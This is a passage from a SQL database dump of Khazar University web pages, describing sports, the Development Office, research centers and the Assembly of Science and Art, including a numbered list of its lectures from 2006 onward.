Jewelry Art as an elective course learn practical jeweler skills.</p>'),(90,98,'en','Sports','Sports','<p>Sports play a great role in the life of the university.</p><p>There are clubs and teams through which students participate in soccer, volleyball, basketball, chess and various types of martial arts at the university.</p><p>Some meetings and events have been conducted in the university chess club with the participation of well-known chess players from Azerbaijan and around the world.&nbsp;Afag Khudaverdiyeva, a famous chess master of Azerbaijan, manages the club.</p><p>The “Khazar University” football club formed a team of the strongest football players (presently premier league) in 1998-2004 and earned a certificate for the Intertoto European cup match in 2004.</p><p>Some of our students have been participants and winners of local and international competitions as well as European and world championships in various team and individual sports.</p><p>The university men’s and ladies’ basketball teams have successfully taken part in international competitions held in Azerbaijan, Iran, Georgia, Russia and other countries.</p>'),(91,99,'en','Development Office','Development Office','<br>\r\n<p>Khazar University Development Office has\r\nbeen established recently to support Khazar University progress. The Office is\r\nan administrative team reporting to the President of the University and to the\r\nBoard of Directors and Trustees. This office  is leading the University’s\r\nadvancement program as adopted by the Board of Directors and Trustees.\r\nThe Office   oversees development and maintains active and productive\r\nrelationships with board members, donors, alumni and administration.</p>\r\n<p>The Development Office oversees specific areas:</p>\r\n<ul><li>Fundraising</li><li>Alumni Relations</li><li>Parent Relations</li><li>Donor Relations</li><li>Foundation and Corporate Relations</li></ul>\r\n<p>The Development Office  relies on Khazar\r\nUniversity Foundation and Alumni Association and their extensive volunteer\r\nnetwork to achieve fundraising goals contributing to Khazar’s mission.\r\nThe Development Office  designs, implements and manages all\r\nfundraising activities including Annual Giving, Endowment and Capital\r\nCampaigns, Special Projects, and other school-related solicitations. Staff of\r\nthe office  manage all strategies and activities for donor cultivation,\r\nsolicitation, and relations. The Office  is also responsible for developing\r\ngrant proposals for foundations and corporations, developing and implementing\r\nparent and class-based fundraising programs within the Annual Fund, and\r\ndeveloping a comprehensive campaign program.&nbsp;</p><p>The following centres are functioning in the Development Office:<br></p><ul><li><a href=\"http://www.khazar.org/en/menus/103/career_center\">Career Center</a></li><li><a href=\"http://www.khazar.org/en/menus/786/center_for_students_with_disabilities\">Center for Students with Disabilities</a></li><li><a href=\"http://www.khazar.org/en/menus/1002/alumni\">Alumni Outreach Centre</a></li></ul>'),(92,100,'en','KCRC','KCRC','<img src=\"/files/social/15_04_30_kcrc.jpg\" style=\"border:0px  #000000;width:600px;height:246px;margin:7px;vertical-align:baseline\"><div><p>Khazar Computing Research Center (KCRC), established in 2015 &nbsp;at Khazar University (the best university in Azerbaijan according to QS university ranking) is a joint venture by Khazar academics to promote high quality research based learning in areas associated with computer science. The primary aim of the center is to develop state−of−the−art computer software and apply these tools in physical and biological sciences and engineering. In the coming years, KCRC is set to grow to attract young research scholars from and outside Azerbaijan aiming to become a leading center for computational research in the Caucasus. Collaboration with other research groups with common interest is also envisaged.</p><p>We particularly welcome students with good programming and mathematical skills to the center. The center provides a &nbsp;good opportunity for students to apply the knowledge they acquired during their undergraduate/graduate studies.&nbsp;</p>  <br></div>'),(93,101,'en','Migration Competence Center','Migration Competence Center','<p><img src=\"/files/social/migration.jpg\" style=\"border:0px  #000000;width:600px;height:218px;margin:7px;vertical-align:baseline\"><br></p><p>The Migration Competence Center is a part of the Regional Research Network which was established within the framework of the EU’s&nbsp;<a href=\"http://eacea.ec.europa.eu/tempus/\" target=\"_blank\">Tempus project</a>&nbsp;and&nbsp;<a href=\"http://www.unimig.tsu.edu.ge/\">UNIMIG project</a>, aims to foster and conduct academic research, train academicians, researchers, students, and practitioners; disseminate research results conducted under its auspices; and raise public awareness through seminars, conferences, publications, the internet, and the&nbsp;mass media. The center provides a migration-related database on national, regional and international levels. It is also committed to actively collaborating with other academic institutions, government and non-government organizations, and the local community.</p><p>Click here to download&nbsp;<a href=\"http://www.khazar.org/files/demo/migration_brochure.pdf\" target=\"_blank\">flyer</a></p>'),(94,102,'en','Assembly of Science and Art','Assembly of Science and Art','<h3><strong></strong></h3><h3><strong>Establishment</strong></h3><img src=\"http://www.khazar.org/files/image/elm%20ve%20ince%20senet.jpg\" style=\"float:left;width:200px;height:281px;margin-left:7px;margin-right:7px;margin-bottom:7px\">\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong><a href=\"http://elmsenet.khazar.org/\">The Assembly of Science and Art</a></strong> includes conferences and seminars in which\r\nscholars and intellectuals discuss essential issues related to Science, Culture\r\nand Art at Khazar University. The Assembly of Science and Art was founded by\r\nProf. Hamlet Isakhanli in 2006. The Assembly has become a venue in recent years\r\nwhere scholars, artists and intellectuals visit with delight. The materials of\r\n“the Assembly of Science and Art” which is usually held once or twice a month,\r\nare published.&nbsp; </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<h3><strong>History </strong></h3>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The first meeting of the Assembly of Science and Art was conducted on\r\nOctober 10, 2006. So far, along with prominent Azerbaijani scholars, famous and\r\nrespected scholars from the USA, Turkey, Great Britain, Scotland, Italy, Russia,\r\nEgypt, Netherlands, Iran, Georgia etc. have delivered lectures on various\r\ntopics in the Assembly of Science and Art. Two volumes of materials of the\r\nAssembly have been published, and the others are soon to be published.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<h3><strong>Aim</strong></h3>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The foreword entitled <strong>“<em>The Assembly of Science and Art&nbsp; -</em> <em>the Need for Communication</em>”</strong> by Hamlet Isakhanli, the\r\nfounder and chair of the Assembly, dedicated to the necessity for founding the\r\nAssembly of Science and Art, its overall action plan and missions .</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong><em>Assembly of Science and Art – the Need for\r\nCommunication</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">A scientist or artist thinks about creation of a scientific work or piece\r\nof art, develops it in their mind and heart (sometimes over a period of years)\r\nindividually until one day, suddenly, he or she brings the work up to the\r\nsurface and announces it to others. Sometimes, scientific or art works can be\r\ncreated collectively by a small group, with joint efforts of more than one\r\nperson. In this case too, first, individual members of the group think about\r\nthe work individually, guarantee their participation on the basis of their\r\npersonal knowledge, talent and energy, and the collective result is achieved\r\nthrough communication, joint analysis and discussion of individual inputs.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Creative people of Art and Science, intellectuals in general, always need\r\ncommunication among them and attach great importance to it. Undeniably, we need\r\nto share our new inventions and discoveries, ideas and works, and our thoughts,\r\nboiling up inside us, all to like-minded people who would understand us and\r\nshare our happiness as well as concerns. It is a delight to talk with a\r\nprofessional, to exchange ideas and let them share in the joy of your discovery\r\nof original ideas. As we make them happy with our pleasant surprises in turn we\r\ngenerate more positive energy, pleasure and inspiration… On the other hand,\r\nreceiving criticism and advice from professionals makes us think broader and\r\ndeeper, and thus, increases our chance to come closer to the truth.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Even if an issue of discussion is not connected with their professional\r\nfield, looking at the issue and asking questions from different perspective, a\r\nbroad-minded and creative person can affect one’s opinion and way of thinking.\r\nOf course, creative and intellectual people always inspire by sharing their new\r\nideas with others and at the same time hear of new ideas from them. These, as\r\nwell as, the need for educating and enlightening people are among the main\r\nfactors bringing creative people together.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">I understood the great importance of communication in scientific activity\r\nwhen I was a doctoral student and researcher at the Moscow State University\r\nnamed after Lomonosov and also at the Institute of Mathematics named after\r\nSteklov in Moscow. Weekly scientific seminars, attended by prominent scholars,\r\nresearchers and students, had no equal in terms of receiving information about\r\nimportant ongoing scientific works and achievements worldwide, analyzing\r\nproblems of our scientific interest and discussing issues with the people who\r\nopened new paths in science. We first felt and realized the phenomenon of the\r\n‘scientific school’ in the extraordinary power these seminars generated.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The mixed feelings that came with the collapse of the Soviet Union,\r\nconsolidation of the materialistic approach based on new capitalist relations\r\nand the destruction of traditional systems of moral values by the globalization\r\nprocess confused people, including artists and academics. Interest in\r\nscientific researches decreased and the education system became chaotic. The\r\nneed for intellectuals, scholars and men of arts coming together in a “wise”\r\nplace, to discuss and share their problems increased. How could we help with\r\nbringing into life our wishes that originated from the demands of our day and\r\nessence of our soul – changing from complaining to analysis and from grievances\r\nto research, revitalizing scientific-cultural environment, and becoming\r\ninformed about events and developments in the world of science and culture?</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">During the spring and summer of 2006, we finalized our idea by establishing\r\nthe Assembly of Science and Art to discuss important issues in any field\r\nwithout limitations. We decided to invite speakers to every meeting of the\r\nAssembly, listen to their speeches, ask questions, receive comments and hold\r\ndiscussions.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The first meeting of the Assembly was held on October 10, 2006. We invited\r\nspecialists and prominent men of arts and sciences from both Azerbaijan and\r\noutside the country to the following meetings. Shortly, our Assembly of Science\r\nand Art became known and liked.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Materials of the meetings publish in a book, and we try to keep the text as\r\nclose as possible to the original speeches and discussions.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<h3><strong>Assemblies </strong></h3>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>Lectures delivered in\r\nthe&nbsp;Assembly of Science and Art</strong></p>\r\n<p>1.&nbsp;<strong>10.10.2006</strong>. Philosophy and Poetry<strong>&nbsp;(</strong>Speakers:&nbsp;<strong><em>Hamlet\r\nIsakhanli&nbsp;</em></strong>and&nbsp;<strong><em>Jamal Mustafayev</em>)</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">2.&nbsp;<strong>31.10.2006</strong>. Sufism in Islam&nbsp;<strong>(</strong>Speakers:&nbsp;<strong><em>Hamlet\r\nIsakhanli&nbsp;</em></strong>and&nbsp;<strong><em>Jamal Mustafaev</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">3.&nbsp;<strong>22.11.2006</strong>.&nbsp;&nbsp;Translation Activity in\r\nMedieval Times. Translations of the Qur’an&nbsp;<strong>(</strong>Speaker:&nbsp;<strong><em>Mirza\r\nRasul Ismailzada</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">4.&nbsp;<strong>12.12&nbsp;2006</strong>.&nbsp;The Turks in the Arabic World during\r\nMedieval Times.&nbsp;Afshin&nbsp;<strong>(</strong>Speakers:&nbsp;<strong><em>Nargiz\r\nAkhundova</em></strong>&nbsp;and&nbsp;<strong><em>Farda Asadov</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">5.&nbsp;<strong>23.01.&nbsp;2007</strong>.&nbsp;Translation into Azerbaijani<strong>&nbsp;</strong>in<strong>&nbsp;</strong>Medieval\r\nTimes. XV–XVI&nbsp; centruies<strong>&nbsp;(</strong>Speaker:&nbsp;<strong><em>Movsum\r\nNaghisoylu</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">6.&nbsp;<strong>13.02.2007</strong>.&nbsp;The Turkish World Today.\r\nTurkish Minorities&nbsp;<strong>(</strong>Speaker:&nbsp;<strong><em>Gullu Yologhlu</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">7.&nbsp;<strong>27.02.\r\n2007.&nbsp;</strong>The Essence and Symbols of Hurifism&nbsp;(Speaker:&nbsp;<strong><em>Nasib\r\nGoyushov</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">8.&nbsp;<strong>13.03.2007</strong>.&nbsp;Soviet-America Confrontation:\r\nThe Azerbaijani Crisis and the Cold War<strong>&nbsp;(</strong>Speaker:&nbsp;<strong><em>Jamil\r\nHasanli</em></strong>)<strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">9.&nbsp;<strong>03.04.2007</strong>.&nbsp;Ethno-genesis and Azerbaijani\r\nHistoriography<strong>&nbsp;(</strong>Speaker:&nbsp;<strong><em>Suleyman Aliyarli</em></strong>)<strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">10.&nbsp;<strong>08.05.2007. </strong><strong>Culture and\r\nEthno-national Psychology of the Georgian Nation: A Comparative Analysis (</strong>Speaker:&nbsp;<strong><em>Imir\r\nMammadli</em></strong>)<strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">11.&nbsp; <strong>22.05.2007. </strong>Spiritual\r\nInheritance of the Generations (Speaker:&nbsp;<strong><em>Jamal Mustafaev</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">12.&nbsp;<strong>25.10.&nbsp;2007</strong>.&nbsp;Islam in the Globalizing World\r\n(Speaker:&nbsp;<strong><em>Mustafa Islamoglu</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">13.&nbsp;<strong>16.11.2007</strong><strong><em>.</em></strong>Huns in\r\nEurasia. History, Culture and Identity (Speaker:&nbsp;<strong><em>Hamlet Isakhanli</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">14.&nbsp;<strong>04.12. 2007</strong><strong><em>.</em></strong>&nbsp;Shams\r\nTabrizi and Movlana Jalaleddin Rumi: the Myth and the Truth (Speaker:&nbsp;<strong><em>Elnur\r\nNasibli</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">15.&nbsp;<strong>27.12.2007</strong><strong><em>.</em></strong>&nbsp;Culture\r\nof City. History, Today and Future (Speaker:&nbsp;<strong><em>Ismail Serageldin</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">16. 2<strong>6.01.2008</strong><strong><em>.</em></strong>&nbsp;About\r\nthe Problem of \'Armenian Genocide\' (Speaker:&nbsp;<strong><em>Norman Stone</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">17.&nbsp; <strong>29.01.2008</strong><strong><em>.</em></strong>&nbsp;Edward\r\nSaid, Orientalism and Post-Colonial Researches (Speaker:&nbsp;<strong><em>Touraj\r\nAtabaki</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">18.&nbsp;<strong>15.02.2008</strong><strong><em>.</em></strong>&nbsp;History\r\nof Researches on Azerbaijan Literature and Culture in Turkey (Speaker:&nbsp;<strong><em>Yavuz\r\nAkpinar</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">19.&nbsp;<strong>20.05.&nbsp;2008</strong><strong><em>.</em></strong>&nbsp;Reading\r\nof the Ancient Information about Azerbaijan-Alban History (Speaker:&nbsp;<strong><em>Firudin\r\nAgasioglu</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">20.&nbsp;<strong>10.06.2008</strong><strong><em>.</em></strong>&nbsp;Azerbaijan\r\nCulture in the Electronic Area (Speakers:&nbsp;<strong><em>Tariel Mammadov &amp;\r\nAydin Khan</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">21.&nbsp; <strong>04.11.2008</strong><strong><em>.</em></strong>&nbsp;Azerbaijanians\r\nin Amasya and in Istanbul (Speaker:&nbsp;<strong><em>Ibrahim Yildirim</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">22.&nbsp;<strong>25.11.2008</strong><strong><em>.</em></strong><strong>&nbsp;</strong>F. Nietzsche\r\n– the Hot-tempered Philosopher of the History (Speakers:&nbsp;<strong><em>Aghalar\r\nMammadov &amp; Mail Yagubov</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">23.&nbsp;<strong>16.12.2008</strong><strong><em>.</em></strong>&nbsp;Sigmund\r\nFreud –the Founder of Psychoanalysis (Speaker:&nbsp;<strong><em>Ulkar Isayeva</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">24.&nbsp; <strong>13.01.2009</strong><strong><em>.</em></strong>&nbsp;Ibn\r\nXaldun: the Great Islamic Philosopher &amp; Sociologist (Speaker:&nbsp;<strong><em>Ahmet\r\nArslan</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">25.&nbsp;<strong>15.01.09</strong><strong><em>.</em></strong>&nbsp;Islam\r\nand Modernization (Speaker:&nbsp;<strong><em>Ahmet Arslan</em></strong>)&nbsp;127</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">26.&nbsp;<strong>27.01.09</strong><strong><em>.</em></strong>&nbsp;M. A. Rasulzadeh\r\nand Independence of Azerbaijan (Speaker:&nbsp;<strong><em>Shirmammad Huseynov</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">27.&nbsp; <strong>10.02.09</strong><strong><em>.</em></strong>&nbsp;The\r\nProblems of the Ancient Turkish History (Speaker:&nbsp;<strong><em>S.Q.Klaştornıy</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">28.&nbsp;<strong>12.02.09</strong><strong><em>.</em></strong>&nbsp;The\r\nAsian Aspect of the Early History of Khazars (Speaker:&nbsp;<strong><em>S.Q.Klaştornıy</em></strong>)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">29.&nbsp;<strong>14.04.09</strong><strong><em>.</em></strong>&nbsp;The\r\nLiterary Language of Garakhanli Period &amp; the Oghuz Turkish (Speaker:<strong><em>&nbsp;Ahmet\r\nBijan Erjilasun)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">30.&nbsp;<strong>28.04.09</strong><strong><em>.</em></strong>&nbsp;The\r\nCaucasian policy of Ottoman Empire during World War (Speaker:<strong><em>&nbsp;Michael\r\nA. Reynolds</em></strong>) </p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">31.&nbsp;<strong>03.11.09</strong>.&nbsp;The Sumerian - the most\r\nAncient Culture of the Mankind. Veronica K. Afanasyeva (St. Petersburg\r\nInstitute of Oriental Studies, Russia) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">32.&nbsp;<strong>05.11.09</strong>.&nbsp;Ancient\r\nCivilizations and Modern Times. Veronica K. Afanasyeva (St. Petersburg\r\nInstitute of Oriental Studies, Russia)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">33.&nbsp;<strong>10.11.09</strong>.&nbsp;Comparison\r\nof Islamic and Western Culture. Tahsin Gorgun. (Turkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">34.&nbsp;<strong>12.11.09. </strong>Islam and\r\nModernization from the Global Perspective. Tahsin Gorgun. (Turkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">35.&nbsp;<strong>04.05.10</strong>.&nbsp;Diary\r\nof People Traveling to Inaccessible Destinations. <strong>Huseyn Baghirov</strong> (Ministry of Ecology and Natural Resources) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">36.&nbsp;<strong>11.05.10</strong>.&nbsp;Modern\r\nClimate Change and Azerbaijan. <strong>Rza\r\nMahmudov</strong> (Director of the Institute of Hydrometeorology Scientific and\r\nResearch Institute of the Ministry of Ecology and Natural Resources,\r\nAzerbaijan)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">37.&nbsp;<strong>28.09.10</strong>. Alliance\r\nDiplomacy of the Great Trio during World War II. <strong>Vladimir Pechatnov</strong> (Moscow State Institute of International\r\nRelations, Russia)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">38.&nbsp;<strong>30.09.10</strong>.\r\nGeopolitical Outcomes of the Second World War for the USSR and the USA. <strong>Vladimir Pechatnov</strong>. (Moscow State Institute\r\nof International Relations, Russia) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">39.&nbsp;<strong>26.10.10.</strong> About Controversial Archive of So-Called Armenian Genocide. <strong>Kemal\r\nChichek</strong> (Turkish Historical Society, Turkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">40.&nbsp;<strong>27.10.10</strong>. Relocation of Armenians and the Importance of\r\nOttoman Resources. Kemal Chichek (Turkish Historical Society, Turkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">41.&nbsp;<strong>23.11.10</strong>.&nbsp;Regional Diplomacy in the Gaps of Empires:\r\nIran\'s Policy on the Democratic Republic of Azerbaijan in 1918-1920. Oliver\r\nBast (The University of Manchester)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">42.&nbsp;<strong>10.12.10</strong>.&nbsp;Who\r\nis the author of \"Ali and Nino\", the Most Famous Novel of Azerbaijan?\r\n<strong>Betty Blair</strong> (Editor of\r\n\"Azerbaijan International\") </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">43.<strong>&nbsp;</strong><strong>28.12.10</strong>.&nbsp;Historiography:\r\nProblems and Different Approaches. <strong>Jamil\r\nHasanli and Hamlet Isakhanli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">44.&nbsp;<strong>08.02.11.</strong> Academic Freedom in <strong>the Contemporary Global Environment and University\r\nAutonomy. Kemal</strong> Guruz (Former Chairman of the Higher Education Board,\r\nTurkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">45.&nbsp;<strong>22.02.11.</strong>&nbsp;Novruz\r\nCharshanbas and Regional Specifications. <strong>Gullu\r\nYologhlu</strong> (PhD in Historical Sciences, Azerbaijan)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">46.&nbsp;<strong>15.03.11.</strong> Anti-fascist Italian\r\nResistance Movement and its Azerbaijani Participants. <strong>Mikhail Talalay</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">47.&nbsp;<strong>24.05.11</strong>. The Collapse of the Russian\r\nEmpire and the Muslims. <strong>Salavat Isakov</strong>\r\n(Russia)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">48.&nbsp;<strong>26.05.11.</strong> Azerbaijan Emigration. New\r\nDocuments and Materials. Salavat Isakov (Russia)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">49.&nbsp;<strong>28.09.11.</strong> Islamic and Western Political\r\nThoughts. Does History Give Lesson? <strong>Antony\r\nBlack</strong> (Scotland) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">50.<strong>&nbsp;</strong><strong>01.11.11.</strong> Technology as the Factor of Human Life. <strong>Larry A. Hickman</strong> (<strong>Southern\r\nIllinois University, USA) </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">51.<strong>&nbsp;</strong><strong>09.12.11. </strong>Abu Hamid Al-Ghazali: History and Today. <strong>Ahmet Arslan, Hamlet\r\nIsaxanli. </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">52.&nbsp;<strong>27.12.11.</strong> Epos and Turkish Pre-History. <strong>Suleyman Aliyarli</strong> (Honored\r\nScientist, Doctor of Historical Sciences, BSU)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">53.&nbsp;<strong>12.04.12.</strong> Ancient Turkish Ethnophrases in Ancient Russian Literary Monuments. <strong>Zahir\r\nAsadov</strong> (Baku Slavic University)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">54.&nbsp;<strong>01.05.12.</strong> Psychological Effect of Light. Biological Time and Depression. <strong>Reshit\r\nJanbeyli</strong>. (Boğaziçi University, Turkey, Colombia University, USA)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">55.&nbsp;<strong>15.05.12.</strong> The Role of Gori Seminary in the Development of Azerbaijani Culture and\r\nEducation. <strong>Huseyn Ahmedov</strong> (Azerbaijan Pedagogical University) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">56.&nbsp;<strong>07.12.2012.</strong> Alimardan Bey Topchubashov. Lifetime between Three Countries. <strong>Jamil\r\nHasanli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">57.&nbsp;<strong>23.04.2013.</strong> Theodor Shumovski-100. Life\r\nand career. <strong>Nargiz Akhundova</strong>\r\n(Institute of History of ANAS) </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">58.&nbsp;<strong>31.05.2013.</strong> Recent History and Current\r\nDay of Iran: Basic Development Trends and Overview of Near Future. <strong>Michael Rubin</strong> (the USA)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">59.&nbsp;<strong>01.11.2013.</strong> Seyid Yahya Bakuvi: Life,\r\nCreativity and School. <strong>Mehmet Rihtim</strong>\r\n(Caucasus Research Institute)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">60.&nbsp;<strong>17.02.2013.</strong> Peace and War. New Historical\r\nOverview of the Realities of Gulistan Peace Treaty. <strong>Oleg Yuryevich Kuznetsov</strong> (Historian-lawyer, Russia)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">61.&nbsp;<strong>21.01.2014</strong>.&nbsp;Excavations\r\non Neolithic Period in Turkey and New Views. Preservation, Exhibition, and Open\r\nAir Museum in Archaeological Excavations. <strong>Mehmet\r\nOzdoghan, Zeynep Eres</strong> (Turkey)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">62.&nbsp;<strong>17.12.2014.</strong> Ecological Union of the\r\nCaucasus. <strong>Georgi Kvesitadze</strong>\r\n(President of the Academy of Sciences of Georgia).</p>\r\n<p 